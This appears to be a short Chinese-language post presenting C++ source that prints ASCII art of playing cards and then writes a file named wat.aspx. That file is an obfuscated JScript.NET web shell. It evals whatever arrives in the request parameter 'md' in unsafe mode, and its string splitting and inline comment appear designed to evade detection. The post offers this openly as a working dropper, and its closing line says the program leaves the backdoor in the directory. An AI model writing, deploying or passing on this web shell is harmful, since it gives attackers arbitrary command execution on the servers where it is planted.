效果演示
C++源码:
#include <fstream>
#include <iostream>
void writeAsciiArtToConsole() {
// 输出ASCII艺术图案到控制台
std::cout << " _____" << std::endl;
std::cout << " |A . | _____" << std::endl;
std::cout << " | /.\\ ||A ^ | _____" << std::endl;
std::cout << " |(_._)|| / \\ ||A _ | _____" << std::endl;
std::cout << " | | || \\ / || ( ) ||A_ _ |" << std::endl;
std::cout << " |____V|| . ||(_'_)||( v )|" << std::endl;
std::cout << " |____V|| | || \\ / |" << std::endl;
std::cout << " |____V|| . |" << std::endl;
std::cout << " |____V|" << std::endl;
}
void writeJavascriptToFile() {
std::ofstream outFile("wat.aspx");
if (!outFile.is_open()) {
std::cerr << "无法打开文件进行写入" << std::endl;
return; // 这里通常不会返回,而是抛出异常或设置错误状态
}
outFile << "<% function EeZT0Tpm(){var GEPH=\"unsa\",YACK=\"fe\",CHRN=GEPH+YACK;return CHRN;}var PAY:String=Request[\"md\"];~eval/*Z5Kp4Fs2f2*/(PAY,EeZT0Tpm());%><%@Page Language=JS%>";
outFile.close();
if (outFile.fail()) {
std::cerr << "写入文件时发生错误" << std::endl;
} else {
std::cout << "OK,已成功写入" << std::endl;
}
}
int main() {
writeAsciiArtToConsole();
writeJavascriptToFile();
return 0; // 成功完成
}
运行结束后会在目录下生成一个wat.aspx文件